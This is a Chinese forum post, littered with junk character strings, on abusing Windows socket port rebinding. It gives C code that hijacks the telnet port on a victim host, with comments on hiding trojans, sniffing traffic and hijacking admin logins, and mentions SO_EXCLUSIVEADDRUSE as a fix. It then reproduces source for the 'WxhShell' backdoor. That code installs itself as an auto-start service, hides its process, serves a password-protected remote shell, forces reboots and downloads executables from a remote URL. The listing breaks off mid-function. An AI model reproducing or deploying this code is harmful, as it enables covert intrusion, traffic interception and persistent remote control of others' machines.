社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18944阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9  Vn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #&Xr2?E@  
Y&vn`#   
  saddr.sin_family = AF_INET; a4'KiA2r  
SVr3OyzI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BGk>:Z`  
-)cau-(X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :.;p Rz  
4<`Qyul-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t(<^of:  
lrn3yDkR?  
  这意味着什么?意味着可以进行如下的攻击: CcF$?07 i  
c!,&]*h"k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R^_7B(  
aQ@9(j> F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l/=2P_8+Z  
U)v['5%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WCa>~dF>  
/g|H?F0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $f++n5I  
j=r aS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o+9b%I^1V  
Yd} Jz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y}db<Cz X  
5|T[:m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RQaB _bg7  
KyQO>g{R  
  #include .9":Ljs(L  
  #include 6Z5X?B  
  #include G9`;Z^<L  
  #include    zWN/>~}U \  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tyEa5sy4  
  int main() (s:ihpI  
  { 4CUoXs'  
  WORD wVersionRequested; s^atBqw,  
  DWORD ret; B =EI&+F+  
  WSADATA wsaData; |rjHH<  
  BOOL val; _J|TCm  
  SOCKADDR_IN saddr;  [#+yL  
  SOCKADDR_IN scaddr; QNH-b9u>8  
  int err; nRP|Qt7>  
  SOCKET s; l|, Hj  
  SOCKET sc; NNKI+!vg  
  int caddsize; Z&f@)j  
  HANDLE mt; )K=%s%3h<  
  DWORD tid;   3K8#,TK3  
  wVersionRequested = MAKEWORD( 2, 2 ); 5y 9(<}z  
  err = WSAStartup( wVersionRequested, &wsaData ); @W4tnM,#  
  if ( err != 0 ) { .G ^-. p  
  printf("error!WSAStartup failed!\n"); HDmjt+3&n  
  return -1; {}sF ?wZf  
  } gD13(G98  
  saddr.sin_family = AF_INET; <7U\@si4  
   2)iwAu   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 + ESEAi91  
M2pe*z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >9WJa5{  
  saddr.sin_port = htons(23); UN FQ`L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [`F}<L."  
  { S]}hh,A  
  printf("error!socket failed!\n"); 5%qq#;[ n  
  return -1;  X.q,  
  } :,@"I$>*/  
  val = TRUE; e;|:W A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QR ?JN\%?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1*x;jO>Hk  
  { qjcPJ  
  printf("error!setsockopt failed!\n"); 6 5%WjO  
  return -1; Az+k8=?  
  } D(E3{\*R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H^VNw1.   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '-,$@l#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /?ZO-]q  
Qkvg85  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YaBZ#$r  
  { *?JNh;  
  ret=GetLastError(); >3C4S  
  printf("error!bind failed!\n"); %Tv2op  
  return -1; c\Z.V*o  
  } ]+"25V'L  
  listen(s,2); .jXD0~N8q  
  while(1) 5[[mS  
  { ,+d\@:  
  caddsize = sizeof(scaddr); hf JeVT-/v  
  //接受连接请求 xg;o<y KF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (u{?aG~  
  if(sc!=INVALID_SOCKET) Q)IL]S  
  { CE|iu!-4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z!& u_  
  if(mt==NULL) 'vX:)ZDi  
  { L0Ycf|[s,  
  printf("Thread Creat Failed!\n"); N|rB~  
  break; >p`ZcFNs"  
  } N^TE ;BM  
  } hr/H vB  
  CloseHandle(mt); 7'g{:dzS*3  
  } D}MCVNd^  
  closesocket(s); @2`$ XWD  
  WSACleanup(); xXRlQ|84  
  return 0; 1iJaj  
  }   [0?W>A*h  
  DWORD WINAPI ClientThread(LPVOID lpParam) E*Z# fa  
  { }T~ }W8H  
  SOCKET ss = (SOCKET)lpParam; [S_qi,  
  SOCKET sc; iD${7 _  
  unsigned char buf[4096]; X{u\|e{  
  SOCKADDR_IN saddr; -z~;f<+I`  
  long num; fEB&)mM  
  DWORD val; "g%=FH3e  
  DWORD ret; ED;rp 9(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YApm)O={  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   69? wZfj'  
  saddr.sin_family = AF_INET; I^l\<1"]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 S4bg7  
  saddr.sin_port = htons(23); $X_A 74 (  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KCl85Wi'  
  { di4>Ir~]  
  printf("error!socket failed!\n"); M(Tlkr  
  return -1; 61~7 L^882  
  } >X_5o^s2s  
  val = 100; =#>F' A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }{S+C[:_  
  { h0aK}`/a  
  ret = GetLastError(); 0}3Xry,{  
  return -1; VK>Cf>  
  } (Zoopkxw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P;U(2;9 N  
  { )Y &RMYy  
  ret = GetLastError(); I /z`)  
  return -1; GO]5~ 4k  
  } >]<4t06D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UJiy] y  
  { i@L_[d^|j`  
  printf("error!socket connect failed!\n"); C0}@0c  
  closesocket(sc); 60#eTo?}o  
  closesocket(ss); >pm`(zLn  
  return -1; E0)43  
  } D$U`u[qjtS  
  while(1) Pk{%2\%&2  
  { d#CAP9n;'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &e \UlM22  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X.GK5Phd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uZml.#@4  
  num = recv(ss,buf,4096,0); phi9/tO\u  
  if(num>0) z'9U.v'M)  
  send(sc,buf,num,0); +`f3_Xd  
  else if(num==0) >/+R~ n  
  break; yA]OX"T?*  
  num = recv(sc,buf,4096,0); s# V>+mU  
  if(num>0) /^sk y!  
  send(ss,buf,num,0); rHp2I6.0a  
  else if(num==0) w2) @o >w  
  break; 0fog/c#q(  
  } BMO&(g  
  closesocket(ss); >zo_}A!  
  closesocket(sc); rlQ=rNrG&E  
  return 0 ; )Ah7  
  } LUzn7FZk  
2GxkOch  
Z 5 Xis"j  
========================================================== \IP 9EFA  
Ku?1QDhrF*  
下边附上一个代码,,WXhSHELL rcz9\@M  
vMzBp#MT  
========================================================== i:|e#$x  
_>E=.$  
#include "stdafx.h" 2QgD<  
oc"7|YG  
#include <stdio.h> \DcO .`L  
#include <string.h> J,*+Ak ~  
#include <windows.h> hr W2#v  
#include <winsock2.h> 8 .t3`FGH  
#include <winsvc.h> $kBcnk  
#include <urlmon.h> <~zPt&C]V  
:n,x?bM  
#pragma comment (lib, "Ws2_32.lib") ?|Ey WAL  
#pragma comment (lib, "urlmon.lib") UaB2vuL*=  
j@R"AP}  
#define MAX_USER   100 // 最大客户端连接数 * .g[vCy  
#define BUF_SOCK   200 // sock buffer oFKTBH:I  
#define KEY_BUFF   255 // 输入 buffer xEg@Y"NQ  
NwN3T]W  
#define REBOOT     0   // 重启  Dn#^-,H  
#define SHUTDOWN   1   // 关机 cAq5vAqmg  
& zv!cf  
#define DEF_PORT   5000 // 监听端口 ?4#UW7I  
srhI%Zj  
#define REG_LEN     16   // 注册表键长度 dVSQG947i:  
#define SVC_LEN     80   // NT服务名长度 gh `]OxA  
\ #N))gAQ  
// 从dll定义API ^p~QHS/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?&=JGk^eJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "?^#+@LV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u\(>a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]Pe8G(E!  
)jjL'  
// wxhshell配置信息 *|ef#-|D  
struct WSCFG { 1&RB=7.h  
  int ws_port;         // 监听端口  Vqr]Ui  
  char ws_passstr[REG_LEN]; // 口令 ar _@"+tZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no jLn|zK  
  char ws_regname[REG_LEN]; // 注册表键名 !JtM`x/yR  
  char ws_svcname[REG_LEN]; // 服务名 B,] AfH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3oV2Ek<d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3+&k{UZjt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t +|t/1s2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &F8*>F^7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v]#[bqB.b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i>KgkRZL#  
P#}vi$dZ  
}; [#(',~lN7  
ux~=}{tz  
// default Wxhshell configuration `Hqgahb{P  
struct WSCFG wscfg={DEF_PORT, Wm4C(y@  
    "xuhuanlingzhe", &Im-@rV!  
    1, )J?8"+_Y  
    "Wxhshell", }tL]EW^  
    "Wxhshell", c-"vQ>ux+  
            "WxhShell Service", = |E8z u%  
    "Wrsky Windows CmdShell Service", \,#;gS "  
    "Please Input Your Password: ", Qq%~e41ec  
  1, 0mNL!"  
  "http://www.wrsky.com/wxhshell.exe", $/ g<h  
  "Wxhshell.exe" ' e %>Ip  
    }; tRo` @eEX  
9&{z?*  
// 消息定义模块 Vha,rIi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )q`.tsR>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w3#0kl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jOd+LXPJ  
char *msg_ws_ext="\n\rExit."; u$FL(m4  
char *msg_ws_end="\n\rQuit.";  % s@  
char *msg_ws_boot="\n\rReboot..."; B|.A6:1g+  
char *msg_ws_poff="\n\rShutdown..."; 1je/l9L  
char *msg_ws_down="\n\rSave to "; cl`7|;v|?  
y t7>,  
char *msg_ws_err="\n\rErr!"; M9G?^mW1sT  
char *msg_ws_ok="\n\rOK!"; B4*uS (  
0oZZLi  
char ExeFile[MAX_PATH]; z4(`>z2a  
int nUser = 0; 2O- 4x  
HANDLE handles[MAX_USER]; 9I*2xy|I  
int OsIsNt; Ta$55K0  
uw/N`u  
SERVICE_STATUS       serviceStatus; 4C )sjk?m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3Kc9*]D  
y\,,hs  
// 函数声明 zK>m4+)~  
int Install(void); mDk6@Gd@U  
int Uninstall(void); {pdPp|YDZ-  
int DownloadFile(char *sURL, SOCKET wsh); hl0\$  
int Boot(int flag); hAs ReZ?  
void HideProc(void); _ gGA/   
int GetOsVer(void); U2LD_-HZ  
int Wxhshell(SOCKET wsl); rGrR;  
void TalkWithClient(void *cs); G9Noch9 g  
int CmdShell(SOCKET sock); 4Dy1M}7  
int StartFromService(void); @R<z=n"  
int StartWxhshell(LPSTR lpCmdLine); W.%p{wB |  
8llXpe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NwdrJw9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >I-rsw2  
YkE_7r(1  
// 数据结构和表定义 #^yOW^  
SERVICE_TABLE_ENTRY DispatchTable[] = 4|\  
{ x$t2Y<_  
{wscfg.ws_svcname, NTServiceMain}, *3]2vq  
{NULL, NULL} _BONN6=*y  
}; e*}:t H  
ysPm4am$  
// 自我安装 l*{Bz5hc  
int Install(void) HCCq9us  
{ / !y~Q|<|=  
  char svExeFile[MAX_PATH]; 6=Wevb5YJ  
  HKEY key; j5og}P q:  
  strcpy(svExeFile,ExeFile); JH u>\{8V  
_s<s14+od  
// 如果是win9x系统,修改注册表设为自启动 \ueCbfV!Z4  
if(!OsIsNt) { Jd?qvE>Pp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a5aHv/W#P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o5sw]R5  
  RegCloseKey(key); V7`vLs-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sAPQbTSM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R NQq"c\  
  RegCloseKey(key); ^>>9?  
  return 0; ,F*HZBNFZ  
    } ~]].i~EV(  
  } _CTg")0o  
} ng~LCffpY  
else { q/Vl>t  
^)GaVL^"5  
// 如果是NT以上系统,安装为系统服务 on"ENT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aOd|;Z  
if (schSCManager!=0) KJv%t_4'F  
{ gK(G1  
  SC_HANDLE schService = CreateService U|{4=[  
  ( :_]0 8  
  schSCManager, MppT"t  
  wscfg.ws_svcname, z}B8&*>  
  wscfg.ws_svcdisp, J}+N\V~  
  SERVICE_ALL_ACCESS, G9V2(P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fJ0V|o  
  SERVICE_AUTO_START, P;K LN9/4  
  SERVICE_ERROR_NORMAL, X y`2ux+>/  
  svExeFile, Z:Vde^Ih  
  NULL, >I<}:=   
  NULL, I3b*sx$  
  NULL, /9,'.  
  NULL, .'$8Hj;@  
  NULL '9zKaL  
  ); 7&/1K%x9;  
  if (schService!=0) }s:3_9mE  
  { *4LRdLMn  
  CloseServiceHandle(schService); /Oi(5?Jn  
  CloseServiceHandle(schSCManager); Z {:;LC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RZKx!X4=q  
  strcat(svExeFile,wscfg.ws_svcname); Z_edNf }|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D(TG)X?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N{ $?u  
  RegCloseKey(key); 2+?W{yAEi  
  return 0; *DXX*9 0  
    } ?B$L'i[l  
  } {\NBNg(Vo  
  CloseServiceHandle(schSCManager); }Y|M+0   
} xK)<7 63q>  
} MM*~X"A  
xf8[&?  
return 1; ~c] q:pU2  
} P;-.\VRu  
Z!Z{Gm3  
// 自我卸载 8DMqjt3B  
int Uninstall(void) N$v_z>6Z  
{ ixK9/5T  
  HKEY key; gm n b  
%`K{0b  
if(!OsIsNt) { c HR*.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { avM8-&h  
  RegDeleteValue(key,wscfg.ws_regname); ,3iD/8_  
  RegCloseKey(key); \x:U`T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M(:bM1AD`u  
  RegDeleteValue(key,wscfg.ws_regname); t#8QyN  
  RegCloseKey(key); I<,~>'cq.  
  return 0; LR!%iP  
  } %Tu(>vnuj  
} {O).!  
} .Ln98#ZR  
else { lZe-A/E  
^c/3 !"wK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X8}\m%gCU  
if (schSCManager!=0) f*88k='\W  
{ [{R>'~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'vu]b#l3  
  if (schService!=0) ut]UU*g^$  
  { 2~7*jA+Ab  
  if(DeleteService(schService)!=0) { ntB#2S  
  CloseServiceHandle(schService); k h*WpX  
  CloseServiceHandle(schSCManager); $cuBd  
  return 0; R >SZE"  
  } KF@%tR}V{  
  CloseServiceHandle(schService); #`= >Mza  
  } .@EzHe ^W  
  CloseServiceHandle(schSCManager); !};Ll=dz  
} py':36'  
} F7w\ctUP  
\6.dGKK  
return 1; l Le&q  
} ?/5<}W#7}  
uHbbPtk  
// 从指定url下载文件 '@WBq!p  
int DownloadFile(char *sURL, SOCKET wsh) vN@04a\h  
{ 3D5adI<aq"  
  HRESULT hr; xaB#GdD  
char seps[]= "/"; ;"e55|d9I  
char *token; zVe,HKF/  
char *file; _8-1wx  
char myURL[MAX_PATH]; `mYp?N jR_  
char myFILE[MAX_PATH]; a #s Nd  
<;>k[P'  
strcpy(myURL,sURL); 38l:Y"  
  token=strtok(myURL,seps);  &z*4Uij  
  while(token!=NULL) sAs`O@  
  { w 8cnSO  
    file=token; U8HuqFC  
  token=strtok(NULL,seps);  tj8o6N#  
  } ;}KJ[5i-V  
8'fF{C  
GetCurrentDirectory(MAX_PATH,myFILE); =>Z4vWX*  
strcat(myFILE, "\\"); Sx Bo%  
strcat(myFILE, file);  ;0$qT$,  
  send(wsh,myFILE,strlen(myFILE),0); )' ,dP)b  
send(wsh,"...",3,0); -`Zk`s|!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Q_<eo%lI*  
  if(hr==S_OK) X MF? y  
return 0; N!v>2"x8q  
else [AD%8 H  
return 1; ts@ e ,  
W$l4@A  
} Z$m&F0g  
>Rdi]:]Bv  
// 系统电源模块 1GLb^:~A  
int Boot(int flag) kDE:KV<"c  
{ ,m7Z w_.  
  HANDLE hToken; 9!2$?xqym  
  TOKEN_PRIVILEGES tkp; -s le7k  
zH~g5xgh  
  if(OsIsNt) { c$u#U~~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0lcwc"_DZX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LS# _K-  
    tkp.PrivilegeCount = 1; IsFL"Vx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ww%4MHPp8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QZO<'q`L  
if(flag==REBOOT) { +:c}LCI9<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yd45y}uS;F  
  return 0; U}=H1f,  
} v] Xy^7?  
else { n4"xVDL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h4ghMBo%  
  return 0; AI9=?X<kh  
} -A:'D8o#f  
  } +_f813$C  
  else { (\%+id|/q@  
if(flag==REBOOT) { v"J|Ebx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z!~{3M  
  return 0; ?ia O6HD  
} N a.e1A&?j  
else { uIJ zz4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?4Zo0DiUB  
  return 0; z^%`sUgP  
} REk^pZ3B  
} !+Sd%2o  
ry* 9  
return 1; j{/wG::  
} =_2(S6~  
N$Tzxs  
// win9x进程隐藏模块 ]tbl1=|  
void HideProc(void) V0F1X s`  
{ _.,"`U; H  
~%: TE}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Zzr  
  if ( hKernel != NULL ) 4%TmW/yd  
  { 2qKAO/_O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G#'G9/Tm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *vzj(HGO  
    FreeLibrary(hKernel); gaL.5_1  
  } K5+ONA<c  
5Ak>/QF9  
return; ]}_Ohe]X  
} gGbqXG^  
u)P)r,  
// 获取操作系统版本 `M_w^&6+n  
int GetOsVer(void) %9t=Iu*  
{ 6" . v6  
  OSVERSIONINFO winfo; <<1_rRL]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EixAmG  
  GetVersionEx(&winfo); f{D~ZC.*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kAoh#8=  
  return 1; *AYjMCo  
  else !t&C,@Ox  
  return 0; u$x'P <b  
} o-]8)G>~M  
o1<Z; 2#  
// 客户端句柄模块 Xkp`1UTH  
int Wxhshell(SOCKET wsl) ]#$r TWMl'  
{ 0Jm)2@  
  SOCKET wsh; "LVN:|!  
  struct sockaddr_in client; +n<;);h  
  DWORD myID; 45Q#6Bt E  
2|8$@*-\  
  while(nUser<MAX_USER) Yp9%u9tNq  
{ _qS4Ns/4s  
  int nSize=sizeof(client); .OF2O}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uF-Rl## >  
  if(wsh==INVALID_SOCKET) return 1; 8uetv  
,aSK L1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sRGIHT#  
if(handles[nUser]==0) lMXLd91  
  closesocket(wsh); QPsvc6ds  
else k=5v J72U  
  nUser++; t$U eks  
  } +r__>V,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5cC)&}I  
|DoD.?v  
  return 0; ,#80`&\%  
} _,|N`BBqd  
a[V4EX1E  
// 关闭 socket 6 Zv~c(   
void CloseIt(SOCKET wsh) LGC3"z\=  
{ AjO|@6  
closesocket(wsh); ot,e?lF  
nUser--; f1/i f:~6  
ExitThread(0); At8^yF   
} 6b=7{nLF  
p/&s-G F  
// 客户端请求句柄 5%XEybc2  
void TalkWithClient(void *cs) ]4-t*Em  
{ ~2U5Wt  
]=0$-ImQ@x  
  SOCKET wsh=(SOCKET)cs; NE!]  
  char pwd[SVC_LEN]; uB3Yl =P  
  char cmd[KEY_BUFF]; @>hXh +!2h  
char chr[1]; -- |L?-2k,  
int i,j; u]QG^1.qYe  
JztSP?  
  while (nUser < MAX_USER) { T#R*]  
4B=@<( H  
if(wscfg.ws_passstr) { Vb8{OD3PK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :.NCS`z_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hc5iIJ]  
  //ZeroMemory(pwd,KEY_BUFF); AU H_~SY  
      i=0; YU%U  
  while(i<SVC_LEN) { WEugm603  
e5.sqft  
  // 设置超时 FKu^{'Y6E0  
  fd_set FdRead; /hbdQm  
  struct timeval TimeOut; Ng<oz*>U  
  FD_ZERO(&FdRead); H}&4#CQ'!  
  FD_SET(wsh,&FdRead); TY *q[AWG  
  TimeOut.tv_sec=8; AG<TY<nqL  
  TimeOut.tv_usec=0; W!WeYV}kb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1jQlwT(:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eWAgYe2  
BZWGXzOFh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :jioF{,  
  pwd=chr[0]; AoN |&o  
  if(chr[0]==0xd || chr[0]==0xa) { ?$rH yI  
  pwd=0; O2>W#7  
  break; L k]/{t0  
  } 0@PI=JZ%  
  i++; fIg~[VN"  
    } BpZ17"\z  
@k,}>Tk  
  // 如果是非法用户,关闭 socket A**PGy.Ni  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I=Xj;\b  
} \{M/Do:  
%W]" JwRu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^G]H9qY- e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D<XRu4^;  
y5lhmbl: e  
while(1) { !7fVO2m T  
dW>$C_`?  
  ZeroMemory(cmd,KEY_BUFF); *%`jcF  
Hs6}~d  
      // 自动支持客户端 telnet标准   B#;0{  
  j=0; [}bPkD  
  while(j<KEY_BUFF) { 7F D.3/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p*S;4+>#  
  cmd[j]=chr[0]; #sp8 !8|y  
  if(chr[0]==0xa || chr[0]==0xd) { 2XGbqZj  
  cmd[j]=0; i5^U1K\M  
  break; 0}y-DCuQ  
  } |F^h >^ x  
  j++; _a~-B@2g  
    } x$\w^h\F  
h|t\rV^  
  // 下载文件 -z$&lP]  
  if(strstr(cmd,"http://")) { # ^oF^!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @Tg +Kt  
  if(DownloadFile(cmd,wsh)) eMV@er|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 |iMD1  
  else sz+Uq]Mn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VyL|d^'f_  
  } J?N9*ap)  
  else { QHuh=7u)  
E?Ofkc$q  
    switch(cmd[0]) { j8"2K^h=  
  1 |zy6  
  // 帮助 9 ]W4o"  
  case '?': { w_eUU)z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o|0QstSCl  
    break; 9F"Q2^l'  
  } `OmYz{*r  
  // 安装 L=WB'*N  
  case 'i': { 4\%XC F!  
    if(Install()) GcYT<pwN6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Y;\1J<b1  
    else LQrm/)4bF5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ghpk0ia%d  
    break; eEG]JH  
    } [r5k8TB1  
  // 卸载 Jz6,2,LN  
  case 'r': { '}q1 F<&  
    if(Uninstall()) %/x%hs;d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); znl_~:.4]X  
    else Tx'ctd#Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N$SJK  
    break; +B0G[k7  
    } ^  M4-O~  
  // 显示 wxhshell 所在路径 K'zG[[P  
  case 'p': { {l-V  
    char svExeFile[MAX_PATH]; v lsS  
    strcpy(svExeFile,"\n\r"); Z'I0e9Jw  
      strcat(svExeFile,ExeFile); !p~K;p,  
        send(wsh,svExeFile,strlen(svExeFile),0); L7lRh=D  
    break; XUyoZl?  
    } a \PvRW*I  
  // 重启 M:Aik&  
  case 'b': { JKsdPW<?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d4#Ra%   
    if(Boot(REBOOT)) +2+wNFU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rX<gcntv  
    else { [d_sd  
    closesocket(wsh); zUhJr$N$  
    ExitThread(0); f{DcR"  
    } MYb^ILz H3  
    break; C8 b%r|^#  
